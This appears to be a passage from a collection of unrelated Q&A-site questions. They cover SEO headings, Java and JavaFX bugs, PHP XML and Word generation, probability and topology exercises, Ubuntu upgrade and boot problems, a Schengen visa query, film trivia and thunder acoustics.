 does not appear anywhere on the page.  As you might expect, a significant part of our traffic comes from people typing something like : "{Artist name} poster" on Google.  I fear that, by removing the word "poster" from the page, we will reduce our chances of getting these people to come to the site, since Google might down rank us.  I see several options here :   Give Google a slightly altered page that contains the H2 tags. But I think this falls into the "Black Hat SEO" category. And I don't want that. Put the heading. Hide it with CSS. Everyone wins, including accessibility tools which can determine the structure of the page using the "invisible" heading. But I do not know if this is considered a good practice. Forget about the heading, and find other ways to tell Google that we really are about posters. (via keywords, but do they really have the same "weight" as an H2?) Adapt the design to our SEO need, and find a way to put that heading nicely.   Are there webmasters out there that have been facing the same issue, how did you resolve it?


Whats the available solutions for PHP to create word document in linux environment?


I downloaded a font from an online website, how do I apply it to my text

I downloaded the pistoleer font from this website  and i want to apply this font to my 3d text. When I click on the folder next to font and search for the pistoleer font, it is not there. Is there a way I can use this font?


Switching between film and digital during the same shoot

If in digital shoot and I adjust my settings to the same thing that I am going to shoot with film, so for example ISO 400, strobe power xyz,etc.and shoot it with digital first, then can I confidently switch cameras and shoot the same thing on film? or still there are smaller nuances ? So idea is first I shoot it in digital, once it looks good than I shoot it with the same settings on film


I'm writing a program that prints an array containing the sum of the values of two arrays passed as parameters. It all works fine with the exception of the last double value. I want the last value to print as 3.1. Instead it's printing the following:  [5.9, 11.7, 2.4, 3.0999999999999996]  Not sure how to format to print otherwise as I'm not allowed to use a String to solve it. I'm not having that problem with the other values. Here's my code and thanks for the help!      import java.util.*;  class Sum {     public static void main (String [] args)     {         double [] a1 = {4.5, 2.8, 3.4, 0.8};         double [] a2 = {1.4, 8.9, -1.0, 2.3};          arraySum (a1, a2);          System.out.println (Arrays.toString (arraySum (a1, a2)));        }      public static double [] arraySum (double [] x, double [] y)     {         int length = 0;         double [] sum = new double [x.length];         length = x.length;              for (int i = 0; i <= length - 1; i++)             {                 sum[i] = x[i] + y[i];             }          return sum;      } }


Why is the cosmological constant a scalar?

Maybe my understanding is just off, but the  is just a scalar, right? What are it's units? Why a scalar? - was a tensor 'cosmological constant' ever considered or is it just not conformable to the math or physics of the field equations?


Find joint density function of X and X+Y (exponential distribution)

I tried finding the following density function:     Let $X$ and $Y$ be independent random variables, each having the exponential distribution with parameter $\lambda$. Find the joint density function of $X$ and $Z=X+Y$.   $\begin{aligned}f_{X,X+Y}=&\frac{\partial}{\partial x\partial z}\mathbb P (X\leq x,Y\leq z-x)\\=&\int_{-\infty}^x\int_{-\infty}^{z-x}f(u,v)\,\mathrm dv=\frac{\partial}{\partial z}\left[\frac{\partial}{\partial x}\int_0^x\int_0^{z-x}\lambda^2e^{-\lambda u-\lambda v}\,\mathrm dv\,\mathrm d u\right]\\ =&\frac{\partial}{\partial z}\int_0^{z-x}\lambda^2e^{-\lambda x-\lambda v}\,\mathrm dv=\frac{\partial}{\partial z}\int_x^{z}\lambda^2e^{-\lambda x-\lambda(v-x)}\,\mathrm dv\\ =&\lambda^2e^{-\lambda x-\lambda(z-x)}=\lambda^2e^{-\lambda z} \end{aligned}$  But I don't think this is correct, because $\mathbb P(X\leq x,X+Y\leq z)$ isn't equal to $\mathbb P(X\leq x,Y\leq z-x)$. But I can't think of anything else.  Could someone help me a little bit with this exercise?  I'm going to try the following:  $\mathbb P(X\leq x,Z\leq z)=\int_{-\infty}^x\int_{-\infty}^zf_X(u)f_Z(v)\,\mathrm du\,\mathrm dv$,  where I use the convolution formula. If I made no mistake, this gives  $f_{X+Y}(z)=z\lambda^2e^{-\lambda z}$, if $z>0$.  Then calculating the joint density function:  $\begin{aligned}f_{X,X+Y}(x,z)=\frac{\partial}{\partial z}\left[\int_{-\infty}^z\lambda^3ve^{-\lambda x-\lambda v}\,\mathrm dv\right]. \end{aligned}$  Oh wait, this is also incorrect, because $X$ and $X+Y$ are dependent.  I really don't know how to proceed; could someone help?  I've also looked at this , but they mention the Jacobian, and my teacher has chosen to skip the paragraph about the Jacobian, so it wouldn't make sense if I had to use that.


How does Arthur manage to fire eight bullets?

In the movie Joker, when killing three white collars in a subway, Arthur fires eight rounds out of his 38 revolver that holds five or six bullets without reloading.   I doubt it is a mistake, why does this happen?


How would one outline an alpha transparency layer in javscript and/or php?

I simply want an outline/edge detection of the character/item/object that is selected or doing something.  I'm seeing lots of versions of this question for different languages, but I would appreciate an approach that can be implemented in a web context. I don't know if this is better dealt with in the server or can be done on the client side. I have no idea of how to access the alpha transparency layer in any language. Please advise. Sorry for the lack of specificity, just getting a handle on what I want. This would be in a 2d context.  This picture  shows what i'm going for. Not sure if answers in that question apply to my problem.


I'm wondering generally how can I identify the authorship of a paper? Some papers might have specific signs such as an asterisk or a dagger after an author's name, but for those who don't have any signs, is the name with first authorship usually listed at first also? Here's an example I found on PHYSICAL REVIEW LETTERS:   Who is the first author, and who are the second of this paper? Update: I'm asking this question because I want to know if the order of authors matters. Usually the first author is listed in the beginning, but if I want to assign all of my collaborators as the second author (there are 5-6 of them), do I need to worried about the order their names appear on the paper? Thanks for the help!


How will people upgrade from 12.10 to later releases after 13.04 is EOL?

Looking at   13.04 will reach EOL in January 2014, while 12.10 will reach EOL in April 2014, therefore if a 12.10 user hasn't upgraded to 13.04 and subsequently to 13.10, there will be a 3 month period where a 12.10 user has a supported version of Ubuntu, but will be unable to upgrade.  I asked this question a number of months ago and the suggestion was that the hope was that there would be an upgrade path from 12.10 to 14.04.  Could somebody confirm whether this is still the case, or if not what the plans are for 12.10 users after 13.04 becomes EOL.  Edited for clarification  The particular issue I was concerned about is that once 13.04 goes EOL, a 12.10 user would in theory lose the ability to upgrade once the 13.04 repo's are removed from the normal release repository.  Using the old releases method would be a way around the issue, however would make it more complicated for a less experienced user.  An alternative could be for the 13.04 repo's to be left available for the 3 month interim period so that a 12.10 version could still be upgraded to 13.04 and subsequently onto 13.10, however that doesn't seem an optimal solution in that users may consider that it meant that support for 13.04 was being continued.  If a direct upgrade from 12.10 to 14.04 was to made available, this would only be available once 14.04 was released and still leaves the issue of the 3 months between January and April 2014 were there may be some confusion.  I suspect that its not going to affect a significant number of users, if somebody has upgraded from 12.04LTS to 12.10, in all probability, they'll have continued to upgrade to 13.04 and upwards because they'd made the choice to use current rather than LTS releases.  It would just be useful to have some clarification of the situation which people can be referred to in advance of 13.04 going EOL rather than hitting the cut off point and it being too late for users to make the decision and being left in limbo.


Passing through Schengen Area with Portuguese permit D for 2 entries

I will be flying to Portugal soon for studies. I received a Portuguese visa D for 120 days with 2 entries to go to Portugal. I am from an non-EU country, but residing in Switzerland currently, that permit will end by the time I fly. Could I go to France so that I could fly to Portugal from Lyon , France Airport based on this visa? Or do I strictly have to fly from Switzerland and cannot enter another Schengen country? The remarks section on my visa says "Residencia Art 61".


Intel graphics drivers APT repository using weak SHA-1 diget

I have an /etc/apt/sources.list.d file with the line  deb https://download.01.org/gfx/ubuntu/16.04/main wily main #Intel Graphics drivers   Now, when I try to apt-get upgrade, I get a message saying:  W: GPG error: https://download.01.org/gfx/ubuntu/16.04/main wily InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 2CC2A1B90A3B3268   Why is the repository not signed? What can I do about it?


convergence in product topology and box topology

I have this exercise: Let $X_i, i\in I$ be non-empty topological spaces with I some index set. Let $(x_n)_{n\in\mathbb{N}}$ be a sequence of points in the product space $\prod_{i \in I}X_i$. Let x be another point in $\prod_{i \in I}X_i$. For every $i\in I$ let $\pi_{X_i}:\prod_{j\in J}X_j\to X_i$ denote the projection onto the the $X_i$ component. I have to show that $(x_n)_{n\in\mathbb{N}}$ converges to x (wrt. the product topology) if and only if for every $i\in I$ the sequence $(\pi_{X_i}(x_n))_{n\in\mathbb{N}}$ converges to $\pi_{X_i}(x)$ in $X_i$. I have shown $\Rightarrow$, but I have a hard time showing $\Leftarrow$. I am thinking that I have to show that for every neighborhood U of $\pi_{X_i}(x)$ there exists an $N\in\mathbb{N}$, such that for all $n\geq N$ we have that $\pi_{X_i}(x_n)\in U$, but I am not sure how to do so. Furthermore I have to show which one of the directions holds when we equip $\prod_{i \in I}X_i$ with the box topology, and then find an example to show that the other direction does not always hold when we use the box topology. I am thinking that it's the direction $\Rightarrow$ which holds for the box topology, but I have a hard time showing this, and for which example wouldn't $\Leftarrow$ hold, when we have a box topology?


Ubuntu gets black screen after initial logo

Tonight I was using my Ubuntu and after I finished all my work, I turned it off. Today, I'm trying to boot it, but I'm getting a black screen right after the Ubuntu Logo.  After a long time searching for answers, I used the advanced option to start Ubuntu with systemd. I'm still having a black screen after my boot, but when I set to start it with systemd, it works.  Does anybody knows why?  I'm using UBUNTU 16.04 LTS  Thanks!


According to Google Search, "if it wasn't for you <verb>ing" and "if it weren't for you <verb>ing" are both used.   What is the correct usage of wasn't or weren't in this case?


When changing the value of a variable the variable reverts back after the method called one is run, how do I make the change permanent

I have a class that is supposed to draw the Sierpinski triangle to a given degree, determined by increase/decrease buttons to alter that degree. However, the degree (variable x) always reverts to 0 after I process the button press.  Where is my problem?  import javafx.application.Application; import javafx.geometry.Pos; import javafx.scene.Scene; import javafx.scene.control.Button; import javafx.scene.layout.BorderPane; import javafx.scene.layout.HBox; import javafx.scene.layout.Pane; import javafx.scene.shape.Line; import javafx.stage.Stage;  public class Recursion4 extends Application {     @Override     public void start(Stage primaryStage) throws Exception {         BorderPane pane = new BorderPane();         Button plus = new Button("+");         Button minus = new Button("-");         HBox h = new HBox(5);         Pane p = new Pane();         h.getChildren().addAll(plus, minus);         h.setSpacing(10);         pane.setBottom(h);         pane.setCenter(p);         h.setAlignment(Pos.CENTER);         Scene scene = new Scene(pane, 900, 900);         primaryStage.setTitle("Triangles");         primaryStage.setScene(scene);         primaryStage.show();         int x = 0;         draw(450, 300, 300, 600, 600, 600, x, p);         plus.setOnAction(e -> {              plus(x, p);          });         minus.setOnAction(e -> {             minus(x, p);         });      }      public static void main(String[] args) {         launch(args);         int x = 0;     }      public static void plus(int x, Pane p) {         p.getChildren().clear();         ++x;         draw(450, 300, 300, 600, 600, 600, x, p);      }      public static void minus(int x, Pane p) {         p.getChildren().clear();         if (x == 0) {             draw(450, 300, 300, 600, 600, 600, x, p);         } else {             x--;             draw(450, 300, 300, 600, 600, 600, x, p);          }     }      public static void draw(int x1, int y1, int x2, int y2, int x3, int y3, Pane p) {         Line l1 = new Line(x1, y1, x2, y2);         Line l2 = new Line(x2, y2, x3, y3);         Line l3 = new Line(x3, y3, x1, y1);         p.getChildren().add(l1);         p.getChildren().add(l2);         p.getChildren().add(l3);     }      public static void draw(int x1, int y1, int x2, int y2, int x3, int y3, int z, Pane p) {         if (z == 0) {             draw(x1, y1, x2, y2, x3, y3, p);         } else {             draw(x1, y1, x2, y2, x3, y3, p);             int xa, ya, xb, yb, xc, yc;              xa = (x1 + x2) / 2;              ya = (y1 + y2) / 2;             xb = (x1 + x3) / 2;             yb = (y1 + y3) / 2;             xc = (x2 + x3) / 2;             yc = (y2 + y3) / 2;              draw(x1, y1, xa, ya, xb, yb, z - 1,p);              draw(xa, ya, x2, y2, xc, yc, z - 1,p);             draw(xb, yb, xc, yc, x3, y3, z - 1,p);          }     } }


I searched the web and I see people using the phrase:   Friend Group Friends Group   (notice the extra "s" at the end of word friend on the second entry) to refer to a group of people that are considered friends. So which one is correct?  The context that I am using the word friend is as follows:  Friend(s) Groups:   Family Acquaintances Not very nice etc   Thanks.


If Jedi aren't supposed to own anything, then where do they get their money from?

If the Jedi are supposed to live a kind of monastic lifestyle and not own anything, how do they buy goods/services?  Can a Jedi make a profit out of business, maybe?


Is there any way to make withdrawn country come back?

Including by changing save game?  I am playing normal and I am happy. Rather than replay again, I'd rather play around with my save game. First time I play I don't even know what satelite is for.


How to prove Poincaré-like inequality for the integral over the boundary?

Suppose $u\in W^{1,1}$ and $\partial u$ is $C^1$. I want to prove the following: $$\int_{\partial\Omega}|u-\bar u|\leq A\int_{\Omega}|\nabla u|$$ where $\bar u=\frac{1}{|\Omega|}\int_{\Omega}u$ and $A>0$. Note that unlike Poincaré inequality, the left integral is over $\partial\Omega$ and not $\Omega$. How can I do that?  I tried to prove in a similar way to Poincare inequality proof (arguing by contradiction), but with no success. I think I am missing something because of the  $\partial\Omega$ issue.


When should one use final for method parameters and local variables?

I've found a couple of references () that suggest using final as much as possible and I'm wondering how important that is. This is mainly in the the context of method parameters and local variables, not final methods or classes. For constants, it makes obvious sense.  On one hand, the compiler can make some optimizations and it makes the programmer's intent clearer. On the other hand, it adds verbosity and the optimizations may be trivial.  Is it something I should make an effort to remember?


I am totally new to this and I need to create this xml document for my orginization. For sure I am aware that I should use Domdocument, but I cant figure out all methods and what they are doing.   What I dont understand is how to apply the first tag after the xml tag - what method in PHP should I use for that?  Can someone point me in the right direction so that my XML document looks like this?  <?xml version="1.0" encoding="utf-8"?> <Persons PageCount="1" PageIndex="1" ApplicationId="[ApplicationGuid]" xmlSchemaVersion="1.0" GenerationDate="2013-11-25T18:15:36" IsIncremental="true"> <!-- Add member --> <Person CreateDate="2008-08-29T08:39:44" LMDate="2014-03-14T10:47:22" OptionType="Update">     <PersonId>82</PersonId>     <PersonalNumber>19471204-6310</PersonalNumber>     <FirstName>Peter</FirstName>     <LastName>Peterson</LastName>     <BirthDate>1947-12-04</BirthDate>     <Gender>male</Gender>     <Organisations>     <Organisation OptionType="Update">     <OrgID>31215</OrgID>     <OrganisationRF_NR>45264</OrganisationRF_NR>      <OrganisationNumber>802421-7948</OrganisationNumber>      <Sports>        <Sport OptionType="Update">          <SportID>43</SportID>          <IsActive LMDate="2011-11-17T15:31:06">true</IsActive>        </Sport>     </Sports>   </Organisation>   </Organisations> </Person> </Persons>   Best regards, Joakim


Why does the sound of thunder last several seconds even when lightning lasts for only fraction of a second?